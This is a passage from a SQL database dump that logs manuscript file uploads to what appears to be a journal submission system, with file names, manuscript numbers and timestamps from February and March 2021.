20:24:38',1,1,0),(12182,7291,'7291-2-Manuscript-2021-02-03.pdf',NULL,'2021-02-03 20:24:38',1,1,0),(12183,7291,'7291-3-Manuscript-2021-02-03.png',NULL,'2021-02-03 20:24:38',1,1,0),(12184,7291,'7291-4-Manuscript-2021-02-03.png',NULL,'2021-02-03 20:24:38',1,1,0),(12185,7291,'7291-5-Manuscript-2021-02-03.pdf',NULL,'2021-02-03 20:24:38',1,1,0),(12189,7088,'7088-Manuscript-2021-02-04-1urg-rsuite-completed.pdf',NULL,'2021-02-04 04:15:19',1,3,0),(12199,7164,'7164-1581-Manuscript-proof-submission-2021-02-04.docx',NULL,'2021-02-04 07:03:02',1,3,1),(12202,6905,'6905-327-Manuscript-proof-submission-2021-02-04.pdf',NULL,'2021-02-04 08:44:03',1,3,0),(12203,7088,'7088-Manuscript-2021-02-04-a7n3-rsuite-completed.pdf',NULL,'2021-02-04 08:49:22',1,3,0),(12204,6580,'6580-1907-Manuscript-proof-submission-2021-02-04.pdf',NULL,'2021-02-04 08:50:49',1,3,0),(12205,6368,'6368-1946-Manuscript-proof-submission-2021-02-04.pdf',NULL,'2021-02-04 08:52:18',1,3,0),(12210,5249,'5249-573-Manuscript-2021-02-04.docx',NULL,'2021-02-04 11:24:02',1,1,0),(12219,7300,'7300-0-Manuscript-2021-02-04.pdf',NULL,'2021-02-04 22:03:56',1,1,0),(12223,7084,'7084-904-Manuscript-proof-submission-2021-02-05.docx',NULL,'2021-02-05 05:32:53',1,3,0),(12231,6860,'6860-1263-Manuscript-proof-submission-2021-02-05.pdf',NULL,'2021-02-05 06:57:53',1,3,0),(12249,7305,'7305-0-Manuscript-2021-02-05.docx',NULL,'2021-02-05 09:18:24',1,1,0),(12252,7306,'7306-0-Manuscript-2021-02-05.pdf',NULL,'2021-02-05 09:44:35',1,1,0),(12261,7311,'7311-0-Manuscript-2021-02-05.docx',NULL,'2021-02-05 14:55:00',1,1,0),(12264,7314,'7314-0-Manuscript-2021-02-05.docx',NULL,'2021-02-05 22:05:06',1,1,0),(12265,7314,'7314-1-Manuscript-2021-02-05.docx',NULL,'2021-02-05 22:05:06',1,1,0),(12266,7314,'7314-2-Manuscript-2021-02-05.jpg',NULL,'2021-02-05 22:05:06',1,1,0),(12272,7319,'7319-0-Manuscript-2021-02-07.docx',NULL,'2021-02-07 07:38:32',1,1,0),(12274,7204,'7204-1916-Manuscript-2021-02-07.docx',NULL,'2021-02-07 16:28:08',1,2,0),(12275,7204,'7204-490-Manuscript-2021-02-07.docx',NULL,'2021-02-07 16:28:08',1,2,0),(12276,7204,'7204-1124-Manuscript-2021-02-07.',NULL,'2021-02-07 16:28:08',1,2,0),(12278,7204,'7204-1267-Manuscript-2021-02-07.doc',NULL,'2021-02-07 16:34:03',1,1,0),(12287,7323,'7323-0-Manuscript-2021-02-07.docx',NULL,'2021-02-07 22:35:45',1,1,0),(12299,7164,'7164-Manuscript-2021-02-08-tx52-ipjbs-21-7164.docx',NULL,'2021-02-08 11:40:41',1,3,1),(12308,7332,'7332-0-Manuscript-2021-02-08.docx',NULL,'2021-02-08 18:12:46',1,1,0),(12312,7334,'7334-0-Manuscript-2021-02-09.docx',NULL,'2021-02-09 04:31:28',1,1,0),(12314,6971,'6971-1449-Manuscript-proof-submission-2021-02-09.pdf',NULL,'2021-02-09 05:12:10',1,3,0),(12315,6971,'6971-1625-Manuscript-proof-submission-2021-02-09.pdf',NULL,'2021-02-09 05:12:12',1,3,0),(12316,6843,'6843-336-Manuscript-proof-submission-2021-02-09.pdf',NULL,'2021-02-09 05:12:48',1,3,0),(12318,7164,'7164-Manuscript-2021-02-09-5hf0-ap-ame-revised.docx',NULL,'2021-02-09 05:19:22',1,3,0),(12327,7338,'7338-0-Manuscript-2021-02-09.docx',NULL,'2021-02-09 05:46:33',1,1,0),(12341,7164,'7164-Manuscript-2021-02-09-idjq-ipjbs-21-7164.docx',NULL,'2021-02-09 08:48:17',1,3,1),(12342,7340,'7340-0-Manuscript-2021-02-09.docx',NULL,'2021-02-09 09:02:15',1,1,0),(12359,7345,'7345-0-Manuscript-2021-02-10.docx',NULL,'2021-02-09 21:48:47',1,1,0),(12363,7348,'7348-0-Manuscript-2021-02-10.docx',NULL,'2021-02-10 04:52:30',1,1,0),(12374,7164,'7164-Manuscript-2021-02-10-p3jx-move-pdf-making.pdf',NULL,'2021-02-10 08:43:29',1,3,0),(12376,7164,'7164-Manuscript-2021-02-10-zbjk-graphic-completed.indd',NULL,'2021-02-10 08:57:43',1,3,0),(12377,7164,'7164-Manuscript-2021-02-10-fe3j-graphic-completed.pdf',NULL,'2021-02-10 08:59:18',1,3,0),(12379,7088,'7088-Manuscript-2021-02-10-t7k1.pdf',NULL,'2021-02-10 09:27:34',1,3,0),(12387,7356,'7356-0-Manuscript-2021-02-10.docx',NULL,'2021-02-10 15:42:44',1,1,0),(12410,7166,'7166-151-Manuscript-proof-submission-2021-02-11.rar',NULL,'2021-02-11 11:20:59',1,3,1),(12411,7194,'7194-1697-Manuscript-proof-submission-2021-02-11.rar',NULL,'2021-02-11 11:21:27',1,3,1),(12420,7376,'7376-0-Manuscript-2021-02-12.docx',NULL,'2021-02-11 18:43:50',1,1,0),(12435,7164,'7164-Manuscript-2021-02-12-gqx8-ap-ame-revised.pdf',NULL,'2021-02-12 04:50:49',1,3,0),(12437,7164,'7164-Manuscript-2021-02-12-hea1-ap-ame-revised.pdf',NULL,'2021-02-12 06:04:12',1,3,0),(12439,7164,'7164-Manuscript-2021-02-12-p2cq.pdf',NULL,'2021-02-12 06:42:10',1,3,1),(12459,7395,'7395-0-Manuscript-2021-02-12.docx',NULL,'2021-02-12 10:01:39',1,1,0),(12460,7396,'7396-0-Manuscript-2021-02-12.docx',NULL,'2021-02-12 10:34:39',1,1,0),(12464,7400,'7400-0-Manuscript-2021-02-12.docx',NULL,'2021-02-12 14:18:33',1,1,0),(12465,7401,'7401-0-Manuscript-2021-02-12.docx',NULL,'2021-02-12 14:21:56',1,1,0),(12466,7402,'7402-0-Manuscript-2021-02-12.docx',NULL,'2021-02-12 14:27:49',1,1,0),(12468,7404,'7404-0-Manuscript-2021-02-12.docx',NULL,'2021-02-12 14:32:42',1,1,0),(12469,7405,'7405-0-Manuscript-2021-02-12.docx',NULL,'2021-02-12 14:34:39',1,1,0),(12472,7408,'7408-0-Manuscript-2021-02-12.jpg',NULL,'2021-02-12 15:51:59',1,1,0),(12495,7073,'7073-651-Manuscript-proof-submission-2021-02-13.docx',NULL,'2021-02-13 07:10:18',1,3,0),(12496,7073,'7073-159-Manuscript-proof-submission-2021-02-13.docx',NULL,'2021-02-13 07:10:18',1,3,1),(12497,7072,'7072-62-Manuscript-proof-submission-2021-02-13.docx',NULL,'2021-02-13 07:12:39',1,3,0),(12498,7072,'7072-1152-Manuscript-proof-submission-2021-02-13.docx',NULL,'2021-02-13 07:12:39',1,3,0),(12501,7419,'7419-0-Manuscript-2021-02-13.doc',NULL,'2021-02-13 13:28:05',1,1,0),(12502,7420,'7420-0-Manuscript-2021-02-13.doc',NULL,'2021-02-13 16:25:12',1,1,0),(12503,7421,'7421-0-Manuscript-2021-02-14.docx',NULL,'2021-02-14 06:41:04',1,1,0),(12504,7422,'7422-0-Manuscript-2021-02-14.docx',NULL,'2021-02-14 06:42:52',1,1,1),(12506,7424,'7424-0-Manuscript-2021-02-14.docx',NULL,'2021-02-14 10:03:43',1,1,0),(12507,7424,'7424-1-Manuscript-2021-02-14.tif',NULL,'2021-02-14 10:03:43',1,1,0),(12508,7424,'7424-2-Manuscript-2021-02-14.tif',NULL,'2021-02-14 10:03:43',1,1,0),(12509,7424,'7424-3-Manuscript-2021-02-14.gif',NULL,'2021-02-14 10:03:43',1,1,0),(12510,7424,'7424-4-Manuscript-2021-02-14.gif',NULL,'2021-02-14 10:03:43',1,1,0),(12511,7424,'7424-5-Manuscript-2021-02-14.gif',NULL,'2021-02-14 10:03:43',1,1,0),(12512,7424,'7424-6-Manuscript-2021-02-14.gif',NULL,'2021-02-14 10:03:43',1,1,0),(12513,7424,'7424-7-Manuscript-2021-02-14.docx',NULL,'2021-02-14 10:03:43',1,1,0),(12517,7428,'7428-0-Manuscript-2021-02-15.docx',NULL,'2021-02-14 22:48:28',1,1,0),(12532,7261,'7261-933-Manuscript-proof-submission-2021-02-15.rar',NULL,'2021-02-15 06:16:30',1,3,0),(12533,7261,'7261-701-Manuscript-proof-submission-2021-02-15.rar',NULL,'2021-02-15 06:16:32',1,3,0),(12534,7121,'7121-1738-Manuscript-proof-submission-2021-02-15.rar',NULL,'2021-02-15 06:17:00',1,3,0),(12535,7121,'7121-Manuscript-2021-02-15-l2s3-ipadm-21-7121.rar',NULL,'2021-02-15 06:25:46',1,3,1),(12536,7261,'7261-Manuscript-2021-02-15-s4i5-ipadm-21-7261.rar',NULL,'2021-02-15 06:31:42',1,3,1),(12557,7034,'7034-351-Manuscript-proof-submission-2021-02-15.zip',NULL,'2021-02-15 09:56:16',1,3,0),(12560,7034,'7034-Manuscript-2021-02-15-k0hr-ipjnn-21-7034.rar',NULL,'2021-02-15 11:16:25',1,3,1),(12564,7189,'7189-834-Manuscript-2021-02-15.docx',NULL,'2021-02-15 12:13:25',1,2,0),(12565,7189,'7189-164-Manuscript-2021-02-15.jpg',NULL,'2021-02-15 12:13:25',1,2,0),(12566,7189,'7189-988-Manuscript-2021-02-15.jpg',NULL,'2021-02-15 12:13:25',1,2,0),(12567,7189,'7189-853-Manuscript-2021-02-15.jpg',NULL,'2021-02-15 12:13:25',1,2,0),(12568,7189,'7189-1829-Manuscript-2021-02-15.jpg',NULL,'2021-02-15 12:13:25',1,2,0),(12569,7189,'7189-1680-Manuscript-2021-02-15.jpg',NULL,'2021-02-15 12:13:25',1,2,0),(12570,7189,'7189-1231-Manuscript-2021-02-15.jpg',NULL,'2021-02-15 12:13:25',1,2,0),(12571,7189,'7189-1675-Manuscript-2021-02-15.jpg',NULL,'2021-02-15 12:13:25',1,2,0),(12572,7189,'7189-81-Manuscript-2021-02-15.',NULL,'2021-02-15 12:13:25',1,2,0),(12576,7441,'7441-0-Manuscript-2021-02-15.docx',NULL,'2021-02-15 17:08:43',1,1,0),(12578,7060,'7060-838-Manuscript-2021-02-15.docx',NULL,'2021-02-15 17:35:53',1,1,0),(12579,7060,'7060-1613-Manuscript-2021-02-15.docx',NULL,'2021-02-15 17:35:53',1,1,0),(12580,7060,'7060-706-Manuscript-2021-02-15.docx',NULL,'2021-02-15 17:35:53',1,1,0),(12581,7060,'7060-736-Manuscript-2021-02-15.docx',NULL,'2021-02-15 17:35:53',1,1,0),(12582,7060,'7060-842-Manuscript-2021-02-15.docx',NULL,'2021-02-15 17:35:53',1,1,0),(12583,7060,'7060-1426-Manuscript-2021-02-15.docx',NULL,'2021-02-15 17:35:53',1,1,0),(12586,7072,'7072-Manuscript-2021-02-16-j20y-ipacm-21-7072.docx',NULL,'2021-02-16 04:30:42',1,3,0),(12587,7073,'7073-Manuscript-2021-02-16-6xpn-ipacm-21-7073.docx',NULL,'2021-02-16 04:31:45',1,3,1),(12588,7445,'7445-0-Manuscript-2021-02-16.docx',NULL,'2021-02-16 04:36:39',1,1,0),(12591,7160,'7160-375-Manuscript-proof-submission-2021-02-16.rar',NULL,'2021-02-16 04:48:55',1,3,0),(12592,7151,'7151-1259-Manuscript-proof-submission-2021-02-16.rar',NULL,'2021-02-16 04:49:21',1,3,0),(12593,7165,'7165-722-Manuscript-proof-submission-2021-02-16.rar',NULL,'2021-02-16 04:49:44',1,3,0),(12594,7165,'7165-1387-Manuscript-proof-submission-2021-02-16.rar',NULL,'2021-02-16 04:49:56',1,3,0),(12595,7182,'7182-1465-Manuscript-proof-submission-2021-02-16.rar',NULL,'2021-02-16 04:50:20',1,3,0),(12596,6910,'6910-1862-Manuscript-proof-submission-2021-02-16.rar',NULL,'2021-02-16 04:51:34',1,3,0),(12597,6908,'6908-1391-Manuscript-proof-submission-2021-02-16.rar',NULL,'2021-02-16 04:52:03',1,3,0),(12600,7151,'7151-Manuscript-2021-02-16-o76y-iphsj-21-7151.rar',NULL,'2021-02-16 07:09:04',1,3,1),(12601,7165,'7165-Manuscript-2021-02-16-1nca-iphsj-21-7165.rar',NULL,'2021-02-16 07:10:18',1,3,1),(12602,7182,'7182-Manuscript-2021-02-16-rpnz-iphsj-21-7182.rar',NULL,'2021-02-16 07:11:13',1,3,1),(12603,7160,'7160-Manuscript-2021-02-16-rtid-iphsj-21-7160.rar',NULL,'2021-02-16 07:12:33',1,3,1),(12613,7072,'7072-Manuscript-2021-02-16-6umk-rsuite-completed.pdf',NULL,'2021-02-16 08:30:23',1,3,0),(12618,7450,'7450-0-Manuscript-2021-02-16.docx',NULL,'2021-02-16 09:53:18',1,1,1),(12625,7034,'7034-Manuscript-2021-02-16-8iq6-graphic-completed.pdf',NULL,'2021-02-16 11:37:38',1,3,0),(12635,7458,'7458-0-Manuscript-2021-02-16.docx',NULL,'2021-02-16 15:11:31',1,1,0),(12644,7462,'7462-0-Manuscript-2021-02-17.docx',NULL,'2021-02-17 05:02:14',1,1,0),(12645,6989,'6989-Manuscript-2021-02-17-qtuf-graphic-completed.pdf',NULL,'2021-02-17 05:18:27',1,3,1),(12646,6996,'6996-Manuscript-2021-02-17-in8s-graphic-completed.pdf',NULL,'2021-02-17 05:19:21',1,3,1),(12647,7014,'7014-Manuscript-2021-02-17-glzv-graphic-completed.pdf',NULL,'2021-02-17 05:20:05',1,3,0),(12648,7014,'7014-Manuscript-2021-02-17-lqtu-graphic-completed.pdf',NULL,'2021-02-17 05:20:22',1,3,1),(12649,7022,'7022-Manuscript-2021-02-17-oxqv-graphic-completed.pdf',NULL,'2021-02-17 05:21:04',1,3,1),(12650,7062,'7062-Manuscript-2021-02-17-8s0m-graphic-completed.pdf',NULL,'2021-02-17 05:21:51',1,3,1),(12652,7089,'7089-Manuscript-2021-02-17-m0ec-graphic-completed.pdf',NULL,'2021-02-17 05:22:38',1,3,1),(12653,7098,'7098-Manuscript-2021-02-17-vw83-graphic-completed.pdf',NULL,'2021-02-17 05:23:29',1,3,1),(12654,7102,'7102-Manuscript-2021-02-17-193g-graphic-completed.pdf',NULL,'2021-02-17 05:25:01',1,3,0),(12655,7111,'7111-Manuscript-2021-02-17-i47s-graphic-completed.pdf',NULL,'2021-02-17 05:25:46',1,3,1),(12656,7117,'7117-Manuscript-2021-02-17-z893-graphic-completed.pdf',NULL,'2021-02-17 05:26:37',1,3,1),(12657,7125,'7125-Manuscript-2021-02-17-98sz-graphic-completed.pdf',NULL,'2021-02-17 05:27:36',1,3,1),(12658,7128,'7128-Manuscript-2021-02-17-x7i4-graphic-completed.pdf',NULL,'2021-02-17 05:28:20',1,3,1),(12659,7151,'7151-Manuscript-2021-02-17-t9jr-graphic-completed.pdf',NULL,'2021-02-17 05:29:18',1,3,0),(12660,7160,'7160-Manuscript-2021-02-17-9x75-graphic-completed.pdf',NULL,'2021-02-17 05:31:26',1,3,1),(12661,7165,'7165-Manuscript-2021-02-17-v0q8-graphic-completed.pdf',NULL,'2021-02-17 05:32:27',1,3,1),(12662,7182,'7182-Manuscript-2021-02-17-e1wi-graphic-completed.pdf',NULL,'2021-02-17 05:33:25',1,3,1),(12671,7034,'7034-Manuscript-2021-02-17-9wn8.pdf',NULL,'2021-02-17 08:58:00',1,3,1),(12686,7472,'7472-0-Manuscript-2021-02-17.doc',NULL,'2021-02-17 13:51:40',1,1,0),(12687,7473,'7473-0-Manuscript-2021-02-17.pdf',NULL,'2021-02-17 14:09:09',1,1,0),(12699,7261,'7261-Manuscript-2021-02-18-1pj3-graphic-completed.pdf',NULL,'2021-02-18 05:41:52',1,3,1),(12700,7194,'7194-Manuscript-2021-02-18-5tev-graphic-completed.pdf',NULL,'2021-02-18 05:42:29',1,3,1),(12701,7166,'7166-Manuscript-2021-02-18-2zjm-graphic-completed.pdf',NULL,'2021-02-18 05:42:57',1,3,1),(12702,7121,'7121-Manuscript-2021-02-18-3jz9-graphic-completed.pdf',NULL,'2021-02-18 05:43:30',1,3,1),(12703,7072,'7072-Manuscript-2021-02-18-oryh-move-pdf-making.docx',NULL,'2021-02-18 05:43:54',1,3,0),(12704,7072,'7072-Manuscript-2021-02-18-85ih-move-pdf-making.docx',NULL,'2021-02-18 05:46:35',1,3,0),(12705,7073,'7073-Manuscript-2021-02-18-w6kj-move-pdf-making.docx',NULL,'2021-02-18 05:51:15',1,3,0),(12707,7477,'7477-0-Manuscript-2021-02-18.docx',NULL,'2021-02-18 07:21:03',1,1,0),(12720,7072,'7072-Manuscript-2021-02-18-z1pc-rsuite-completed.pdf',NULL,'2021-02-18 08:40:15',1,3,0),(12721,7073,'7073-Manuscript-2021-02-18-vzw6-rsuite-completed.pdf',NULL,'2021-02-18 08:48:54',1,3,0),(12744,7102,'7102-Manuscript-2021-02-18-fhjt.pdf',NULL,'2021-02-18 14:45:34',1,3,0),(12745,7487,'7487-0-Manuscript-2021-02-18.docx',NULL,'2021-02-18 15:16:01',1,1,0),(12761,7490,'7490-0-Manuscript-2021-02-19.docx',NULL,'2021-02-18 18:38:59',1,1,0),(12766,7493,'7493-0-Manuscript-2021-02-19.docx',NULL,'2021-02-19 04:34:19',1,1,0),(12771,7494,'7494-0-Manuscript-2021-02-19.docx',NULL,'2021-02-19 05:06:56',1,1,0),(12784,7189,'7189-285-Manuscript-proof-submission-2021-02-19.zip',NULL,'2021-02-19 06:24:21',1,3,0),(12785,7291,'7291-159-Manuscript-proof-submission-2021-02-19.zip',NULL,'2021-02-19 06:25:30',1,3,0),(12800,7189,'7189-Manuscript-2021-02-19-hbdo-ipaom-21-7189.rar',NULL,'2021-02-19 10:03:27',1,3,1),(12801,7291,'7291-Manuscript-2021-02-19-lfis-ipaom-21-7291.rar',NULL,'2021-02-19 10:13:06',1,3,1),(12806,7060,'7060-1740-Manuscript-proof-submission-2021-02-19.zip',NULL,'2021-02-19 11:34:22',1,3,0),(12816,7497,'7497-0-Manuscript-2021-02-19.docx',NULL,'2021-02-19 12:04:17',1,1,0),(12821,7060,'7060-Manuscript-2021-02-19-vxdz-ipjnn-21-7060.rar',NULL,'2021-02-19 14:54:17',1,3,1),(12825,7332,'7332-1437-Manuscript-2021-02-20.docx',NULL,'2021-02-19 20:19:19',1,1,0),(12827,7501,'7501-0-Manuscript-2021-02-20.docx',NULL,'2021-02-19 22:44:16',1,1,0),(12831,7151,'7151-Manuscript-2021-02-20-xl39.pdf',NULL,'2021-02-20 05:28:13',1,3,1),(12833,7504,'7504-0-Manuscript-2021-02-21.docx',NULL,'2021-02-20 21:21:55',1,1,0),(12845,7511,'7511-0-Manuscript-2021-02-21.docx',NULL,'2021-02-21 17:18:58',1,1,0),(12850,7516,'7516-0-Manuscript-2021-02-22.docx',NULL,'2021-02-22 04:25:29',1,1,0),(12851,7102,'7102-Manuscript-2021-02-22-dcw9-graphic-completed.pdf',NULL,'2021-02-22 04:52:09',1,3,1),(12853,7517,'7517-0-Manuscript-2021-02-22.docx',NULL,'2021-02-22 06:06:22',1,1,0),(12854,7518,'7518-0-Manuscript-2021-02-22.docx',NULL,'2021-02-22 06:14:26',1,1,0),(12855,7072,'7072-Manuscript-2021-02-22-5jlz-move-pdf-making.pdf',NULL,'2021-02-22 06:14:51',1,3,0),(12856,7073,'7073-Manuscript-2021-02-22-qdie-move-pdf-making.pdf',NULL,'2021-02-22 06:15:11',1,3,0),(12866,6875,'6875-638-Manuscript-proof-submission-2021-02-22.docx',NULL,'2021-02-22 07:12:31',1,3,0),(12867,7291,'7291-Manuscript-2021-02-22-90v5-graphic-completed.pdf',NULL,'2021-02-22 07:13:19',1,3,0),(12868,7519,'7519-0-Manuscript-2021-02-22.docx',NULL,'2021-02-22 08:02:14',1,1,0),(12872,7060,'7060-Manuscript-2021-02-22-vzgr-graphic-completed.pdf',NULL,'2021-02-22 08:23:26',1,3,0),(12880,7520,'7520-0-Manuscript-2021-02-22.docx',NULL,'2021-02-22 10:02:10',1,1,0),(12888,7060,'7060-Manuscript-2021-02-22-regc.pdf',NULL,'2021-02-22 14:27:33',1,3,1),(12889,7291,'7291-Manuscript-2021-02-22-5q3u.pdf',NULL,'2021-02-22 14:32:41',1,3,0),(12894,7291,'7291-Manuscript-2021-02-23-y4da-graphic-completed.pdf',NULL,'2021-02-23 04:43:32',1,3,1),(12905,7396,'7396-124-Manuscript-proof-submission-2021-02-23.docx',NULL,'2021-02-23 06:25:58',1,3,0),(12915,7189,'7189-Manuscript-2021-02-23-6eu5-graphic-completed.pdf',NULL,'2021-02-23 08:33:12',1,3,1),(12918,7396,'7396-Manuscript-2021-02-23-2jqi-move-pdf-making.docx',NULL,'2021-02-23 08:52:31',1,3,0),(12924,7396,'7396-Manuscript-2021-02-23-62yp-rsuite-completed.pdf',NULL,'2021-02-23 09:54:23',1,3,0),(12929,7537,'7537-0-Manuscript-2021-02-23.docx',NULL,'2021-02-23 10:47:52',1,1,0),(12931,6976,'6976-1995-Manuscript-proof-submission-2021-02-23.rar',NULL,'2021-02-23 11:49:32',1,3,0),(12932,6976,'6976-643-Manuscript-proof-submission-2021-02-23.rar',NULL,'2021-02-23 11:49:35',1,3,0),(12954,7544,'7544-0-Manuscript-2021-02-24.odt',NULL,'2021-02-24 05:18:57',1,1,0),(12956,7546,'7546-0-Manuscript-2021-02-24.docx',NULL,'2021-02-24 05:32:27',1,1,0),(12962,6849,'6849-1650-Manuscript-proof-submission-2021-02-24.pdf',NULL,'2021-02-24 06:34:18',1,3,0),(12980,7555,'7555-0-Manuscript-2021-02-24.docx',NULL,'2021-02-24 12:34:51',1,1,0),(12985,7305,'7305-1746-Manuscript-proof-submission-2021-02-24.rar',NULL,'2021-02-24 18:18:22',1,3,0),(12986,7557,'7557-0-Manuscript-2021-02-25.docx',NULL,'2021-02-24 19:12:50',1,1,0),(12987,7557,'7557-1-Manuscript-2021-02-25.docx',NULL,'2021-02-24 19:12:50',1,1,0),(12988,7557,'7557-2-Manuscript-2021-02-25.docx',NULL,'2021-02-24 19:12:51',1,1,0),(12989,7557,'7557-3-Manuscript-2021-02-25.tif',NULL,'2021-02-24 19:12:51',1,1,0),(12990,7557,'7557-4-Manuscript-2021-02-25.tiff',NULL,'2021-02-24 19:12:51',1,1,0),(12991,7557,'7557-5-Manuscript-2021-02-25.tiff',NULL,'2021-02-24 19:12:51',1,1,0),(12992,7557,'7557-6-Manuscript-2021-02-25.tif',NULL,'2021-02-24 19:12:52',1,1,0),(12993,7557,'7557-7-Manuscript-2021-02-25.tif',NULL,'2021-02-24 19:12:52',1,1,0),(12994,7557,'7557-8-Manuscript-2021-02-25.tif',NULL,'2021-02-24 19:12:52',1,1,0),(12995,7332,'7332-1757-Manuscript-2021-02-25.docx',NULL,'2021-02-24 21:01:19',1,2,0),(12996,7095,'7095-1097-Manuscript-2021-02-25.docx',NULL,'2021-02-24 21:10:46',1,2,0),(12998,7559,'7559-0-Manuscript-2021-02-25.pdf',NULL,'2021-02-25 00:36:09',1,1,0),(12999,7559,'7559-1-Manuscript-2021-02-25.docx',NULL,'2021-02-25 00:36:09',1,1,0),(13012,7305,'7305-Manuscript-2021-02-25-mr4q-iphsj-21-7305.rar',NULL,'2021-02-25 05:44:42',1,3,1),(13018,7110,'7110-1584-Manuscript-proof-submission-2021-02-25.zip',NULL,'2021-02-25 08:16:24',1,3,0),(13022,7110,'7110-Manuscript-2021-02-25-nte9-ipjnn-21-7110.rar',NULL,'2021-02-25 08:41:37',1,3,1),(13023,7305,'7305-Manuscript-2021-02-25-uzjb-graphic-completed.pdf',NULL,'2021-02-25 09:19:42',1,3,0),(13024,7568,'7568-0-Manuscript-2021-02-25.docx',NULL,'2021-02-25 09:22:27',1,1,0),(13026,7569,'7569-0-Manuscript-2021-02-25.docx',NULL,'2021-02-25 10:02:54',1,1,0),(13027,7570,'7570-0-Manuscript-2021-02-25.docx',NULL,'2021-02-25 10:09:16',1,1,0),(13037,7574,'7574-0-Manuscript-2021-02-25.docx',NULL,'2021-02-25 11:28:53',1,1,0),(13076,7590,'7590-0-Manuscript-2021-02-26.docx',NULL,'2021-02-26 06:57:49',1,1,0),(13091,7110,'7110-Manuscript-2021-02-26-gmwk-graphic-completed.pdf',NULL,'2021-02-26 08:19:23',1,3,0),(13099,7592,'7592-0-Manuscript-2021-02-26.docx',NULL,'2021-02-26 08:58:17',1,1,0),(13101,7395,'7395-1981-Manuscript-proof-submission-2021-02-26.rar',NULL,'2021-02-26 09:58:56',1,3,0),(13102,7110,'7110-Manuscript-2021-02-26-bs2x.pdf',NULL,'2021-02-26 10:01:29',1,3,0),(13110,7072,'7072-Manuscript-2021-02-26-jz31.pdf',NULL,'2021-02-26 11:28:06',1,3,0),(13111,7073,'7073-Manuscript-2021-02-26-g5b7.pdf',NULL,'2021-02-26 11:29:52',1,3,0),(13112,7088,'7088-Manuscript-2021-02-26-dkxg.pdf',NULL,'2021-02-26 11:30:38',1,3,0),(13114,7110,'7110-Manuscript-2021-02-26-oi8w-graphic-completed.pdf',NULL,'2021-02-26 11:39:19',1,3,0),(13115,7395,'7395-Manuscript-2021-02-26-n7cu-iphsj-21-7395.rar',NULL,'2021-02-26 13:05:15',1,3,1),(13121,7300,'7300-1971-Manuscript-proof-submission-2021-02-26.rar',NULL,'2021-02-26 17:10:47',1,3,0),(13126,7132,'7132-1526-Manuscript-proof-submission-2021-02-27.zip',NULL,'2021-02-27 04:13:52',1,3,0),(13137,7300,'7300-Manuscript-2021-02-27-e73d-iphsj-21-7300.rar',NULL,'2021-02-27 05:26:50',1,3,1),(13138,7132,'7132-Manuscript-2021-02-27-aiof-ipjnn-21-7132.rar',NULL,'2021-02-27 06:04:34',1,3,1),(13144,7395,'7395-Manuscript-2021-02-27-r94a-graphic-completed.pdf',NULL,'2021-02-27 06:41:10',1,3,0),(13146,7132,'7132-Manuscript-2021-02-27-o9zh-graphic-completed.pdf',NULL,'2021-02-27 06:42:38',1,3,0),(13152,7110,'7110-Manuscript-2021-02-27-bp0l.pdf',NULL,'2021-02-27 09:39:37',1,3,1),(13153,7132,'7132-Manuscript-2021-02-27-kzyw.pdf',NULL,'2021-02-27 09:39:57',1,3,1),(13169,7617,'7617-0-Manuscript-2021-02-28.docx',NULL,'2021-02-28 12:58:49',1,1,0),(13193,7395,'7395-Manuscript-2021-03-01-xhzf.pdf',NULL,'2021-03-01 03:09:52',1,3,1),(13194,7305,'7305-Manuscript-2021-03-01-a74h.pdf',NULL,'2021-03-01 03:18:02',1,3,1),(13212,7627,'7627-0-Manuscript-2021-03-01.docx',NULL,'2021-03-01 07:55:42',1,1,0),(13224,7300,'7300-Manuscript-2021-03-01-sb5a-graphic-completed.pdf',NULL,'2021-03-01 09:54:44',1,3,1),(13237,7635,'7635-0-Manuscript-2021-03-02.docx',NULL,'2021-03-02 04:18:08',1,1,0),(13238,7635,'7635-1-Manuscript-2021-03-02.docx',NULL,'2021-03-02 04:18:08',1,1,0),(13239,7635,'7635-2-Manuscript-2021-03-02.docx',NULL,'2021-03-02 04:18:08',1,1,0),(13240,7635,'7635-3-Manuscript-2021-03-02.pptx',NULL,'2021-03-02 04:18:08',1,1,0),(13258,7348,'7348-1814-Manuscript-proof-submission-2021-03-02.rar',NULL,'2021-03-02 05:48:39',1,3,0),(13259,7426,'7426-1897-Manuscript-proof-submission-2021-03-02.rar',NULL,'2021-03-02 05:50:28',1,3,0),(13266,7426,'7426-Manuscript-2021-03-02-5qmu-iphsj-21-7426.rar',NULL,'2021-03-02 07:03:05',1,3,1),(13267,7348,'7348-Manuscript-2021-03-02-i1od-iphsj-21-7348.rar',NULL,'2021-03-02 07:23:45',1,3,0),(13268,6375,'6375-254-Manuscript-proof-submission-2021-03-02.pdf',NULL,'2021-03-02 07:56:21',1,3,0),(13270,7348,'7348-Manuscript-2021-03-02-y6sv-ap-ame-revised.rar',NULL,'2021-03-02 08:18:51',1,3,0),(13278,6741,'6741-174-Manuscript-proof-submission-2021-03-02.pdf',NULL,'2021-03-02 08:37:50',1,3,0),(13284,7348,'7348-Manuscript-2021-03-02-bngf-iphsj-21-7348.rar',NULL,'2021-03-02 09:29:58',1,3,1),(13288,7080,'7080-185-Manuscript-proof-submission-2021-03-02.rar',NULL,'2021-03-02 09:40:43',1,3,0),(13297,7426,'7426-Manuscript-2021-03-02-41na-graphic-completed.pdf',NULL,'2021-03-02 10:06:04',1,3,1),(13298,7649,'7649-0-Manuscript-2021-03-02.docx',NULL,'2021-03-02 11:43:53',1,1,0),(13299,7348,'7348-Manuscript-2021-03-02-4ygp-graphic-completed.pdf',NULL,'2021-03-02 11:58:58',1,3,1),(13315,7319,'7319-1474-Manuscript-proof-submission-2021-03-02.rar',NULL,'2021-03-02 18:25:35',1,3,0),(13316,7311,'7311-1174-Manuscript-proof-submission-2021-03-03.docx',NULL,'2021-03-02 18:37:02',1,3,0),(13317,7662,'7662-0-Manuscript-2021-03-03.docx',NULL,'2021-03-02 21:39:04',1,1,0),(13318,7663,'7663-0-Manuscript-2021-03-03.docx',NULL,'2021-03-02 22:03:02',1,1,0),(13319,7664,'7664-0-Manuscript-2021-03-03.docx',NULL,'2021-03-03 03:24:40',1,1,0),(13323,7666,'7666-0-Manuscript-2021-03-03.Manuscript 2021',NULL,'2021-03-03 04:55:27',1,1,0),(13324,7666,'7666-1-Manuscript-2021-03-03.png',NULL,'2021-03-03 04:55:27',1,1,0),(13325,7666,'7666-2-Manuscript-2021-03-03.tif',NULL,'2021-03-03 04:55:27',1,1,0),(13326,6800,'6800-463-Manuscript-2021-03-03.docx',NULL,'2021-03-03 05:16:23',1,2,0),(13327,6800,'6800-419-Manuscript-2021-03-03.png',NULL,'2021-03-03 